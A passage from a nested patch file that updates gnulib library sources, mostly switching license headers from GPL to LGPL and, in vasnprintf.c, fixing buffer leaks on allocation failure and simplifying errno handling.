++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/vasnprintf.c
++++ b/gnulib/lib/vasnprintf.c
+@@ -1,18 +1,18 @@
+ /* vsprintf with automatic memory allocation.
+ Copyright (C) 1999, 2002-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ VASNPRINTF The name of the function being defined.
+@@ -60,9 +60,7 @@
+ #ifndef VASNPRINTF
+ # include <config.h>
+ #endif
+-#ifndef IN_LIBINTL
+-# include <alloca.h>
+-#endif
++#include <alloca.h>
+
+ /* Specification. */
+ #ifndef VASNPRINTF
+@@ -1859,6 +1857,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ /* errno is already set. */
+ return NULL;
+
++ /* Frees the memory allocated by this function. Preserves errno. */
+ #define CLEANUP() \
+ if (d.dir != d.direct_alloc_dir) \
+ free (d.dir); \
+@@ -1923,7 +1922,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+
+ /* Ensures that allocated >= needed. Aborts through a jump to
+ out_of_memory if needed is SIZE_MAX or otherwise too big. */
+-#define ENSURE_ALLOCATION(needed) \
++#define ENSURE_ALLOCATION_ELSE(needed, oom_statement) \
+ if ((needed) > allocated) \
+ { \
+ size_t memory_size; \
+@@ -1934,17 +1933,19 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ allocated = (needed); \
+ memory_size = xtimes (allocated, sizeof (DCHAR_T)); \
+ if (size_overflow_p (memory_size)) \
+- goto out_of_memory; \
++ oom_statement \
+ if (result == resultbuf || result == NULL) \
+ memory = (DCHAR_T *) malloc (memory_size); \
+ else \
+ memory = (DCHAR_T *) realloc (result, memory_size); \
+ if (memory == NULL) \
+- goto out_of_memory; \
++ oom_statement \
+ if (result == resultbuf && length > 0) \
+ DCHAR_CPY (memory, result, length); \
+ result = memory; \
+ }
++#define ENSURE_ALLOCATION(needed) \
++ ENSURE_ALLOCATION_ELSE((needed), goto out_of_memory; )
+
+ for (cp = format, i = 0, dp = &d.dir[0]; ; cp = dp->dir_end, i++, dp++)
+ {
+@@ -2183,18 +2184,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2309,18 +2309,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2435,18 +2434,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2852,14 +2850,12 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ free (tmpsrc);
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ free (tmpsrc);
+@@ -2951,7 +2947,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ }
+ }
+ # else
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ length += tmpdst_len;
+@@ -3079,13 +3076,11 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ # endif
+@@ -3156,7 +3151,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ }
+ }
+ # else
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ length += tmpdst_len;
+@@ -5449,15 +5445,14 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ /* Attempt to handle failure. */
+ if (count < 0)
+ {
+- /* SNPRINTF or sprintf failed. Save and use the errno
+- that it has set, if any. */
+- int saved_errno = errno;
+- if (saved_errno == 0)
++ /* SNPRINTF or sprintf failed. Use the errno that it
++ has set, if any. */
++ if (errno == 0)
+ {
+ if (dp->conversion == 'c' || dp->conversion == 's')
+- saved_errno = EILSEQ;
++ errno = EILSEQ;
+ else
+- saved_errno = EINVAL;
++ errno = EINVAL;
+ }
+
+ if (!(result == resultbuf || result == NULL))
+@@ -5466,7 +5461,6 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ free (buf_malloced);
+ CLEANUP ();
+
+- errno = saved_errno;
+ return NULL;
+ }
+
+@@ -5602,16 +5596,15 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ count = tmpdst_len;
+--- a/gnulib/lib/vasnprintf.h
++++ b/gnulib/lib/vasnprintf.h
+@@ -1,18 +1,18 @@
+ /* vsprintf with automatic memory allocation.
+ Copyright (C) 2002-2004, 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _VASNPRINTF_H
+ #define _VASNPRINTF_H
+--- a/gnulib/lib/vasprintf.c
++++ b/gnulib/lib/vasprintf.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999, 2002, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/verify.h
++++ b/gnulib/lib/verify.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert, Bruno Haible, and Jim Meyering. */
+--- a/gnulib/lib/warn-on-use.h
++++ b/gnulib/lib/warn-on-use.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* _GL_WARN_ON_USE (function, "literal string") issues a declaration
+--- a/gnulib/lib/wchar.in.h
++++ b/gnulib/lib/wchar.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake. */
+
+@@ -111,7 +111,7 @@
+ /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or
+ <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that
+ wint_t must be "unchanged by default argument promotions". Override it. */
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !GNULIB_defined_wint_t
+ # if @HAVE_CRTDEFS_H@
+ # include <crtdefs.h>
+--- a/gnulib/lib/wcrtomb.c
++++ b/gnulib/lib/wcrtomb.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/wctype-h.c
++++ b/gnulib/lib/wctype-h.c
+@@ -1,4 +1,23 @@
++/* Inline functions for <wctype.h>.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ /* Normally this would be wctype.c, but that name's already taken. */
++
+ #include <config.h>
++
+ #define _GL_WCTYPE_INLINE _GL_EXTERN_INLINE
+ #include "wctype.h"
+--- a/gnulib/lib/wctype.in.h
++++ b/gnulib/lib/wctype.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible and Paul Eggert. */
+
+@@ -103,7 +103,7 @@ _GL_INLINE_HEADER_BEGIN
+ /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or
+ <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that
+ wint_t must be "unchanged by default argument promotions". Override it. */
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !GNULIB_defined_wint_t
+ # if @HAVE_CRTDEFS_H@
+ # include <crtdefs.h>
+@@ -132,7 +132,7 @@ typedef unsigned int rpl_wint_t;
+ same way, or not at all. */
+ # if ! @HAVE_ISWCNTRL@ || @REPLACE_ISWCNTRL@
+
+-# if @GNULIB_OVERRIDES_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@ /* implies @REPLACE_ISWCNTRL@ */
+
+ _GL_WCTYPE_INLINE int
+ rpl_iswalnum (wint_t wc)
+@@ -496,7 +496,7 @@ _GL_FUNCDECL_RPL (iswxdigit, int, (wint_
+
+ # endif
+
+-# if defined __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@
++# if defined __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@
+
+ /* On native Windows, wchar_t is uint16_t, and wint_t is uint32_t.
+ The functions towlower and towupper are implemented in the MSVCRT library
+@@ -529,7 +529,7 @@ rpl_towupper (wint_t wc)
+ # define towupper rpl_towupper
+ # endif
+
+-# endif /* __MINGW32__ && !@GNULIB_OVERRIDES_WINT_T@ */
++# endif /* __MINGW32__ && !@GNULIBHEADERS_OVERRIDE_WINT_T@ */
+
+ # define GNULIB_defined_wctype_functions 1
+ #endif
+@@ -646,7 +646,7 @@ _GL_WARN_ON_USE (wctype, "wctype is unpo
+ The argument WC must be either a wchar_t value or WEOF.
+ The argument DESC must have been returned by the wctype() function. */
+ #if @GNULIB_ISWCTYPE@
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef iswctype
+ # define iswctype rpl_iswctype
+--- a/gnulib/lib/wcwidth.c
++++ b/gnulib/lib/wcwidth.c
+@@ -1,17 +1,17 @@
+ /* Determine the number of screen columns needed for a character.
+ Copyright (C) 2006-2007, 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/windows-initguard.h
++++ b/gnulib/lib/windows-initguard.h
+@@ -1,18 +1,18 @@
+ /* Init guards, somewhat like spinlocks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-mutex.c
++++ b/gnulib/lib/windows-mutex.c
+@@ -1,18 +1,18 @@
+ /* Plain mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-mutex.h
++++ b/gnulib/lib/windows-mutex.h
+@@ -1,18 +1,18 @@
+ /* Plain mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-once.c
++++ b/gnulib/lib/windows-once.c
+@@ -1,18 +1,18 @@
+ /* Once-only control (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-once.h
++++ b/gnulib/lib/windows-once.h
+@@ -1,18 +1,18 @@
+ /* Once-only control (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-recmutex.c
++++ b/gnulib/lib/windows-recmutex.c
+@@ -1,18 +1,18 @@
+ /* Plain recursive mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-recmutex.h
++++ b/gnulib/lib/windows-recmutex.h
+@@ -1,18 +1,18 @@
+ /* Plain recursive mutexes (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-rwlock.c
++++ b/gnulib/lib/windows-rwlock.c
+@@ -1,18 +1,18 @@
+ /* Read-write locks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/windows-rwlock.h
++++ b/gnulib/lib/windows-rwlock.h
+@@ -1,18 +1,18 @@
+ /* Read-write locks (native Windows implementation).
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
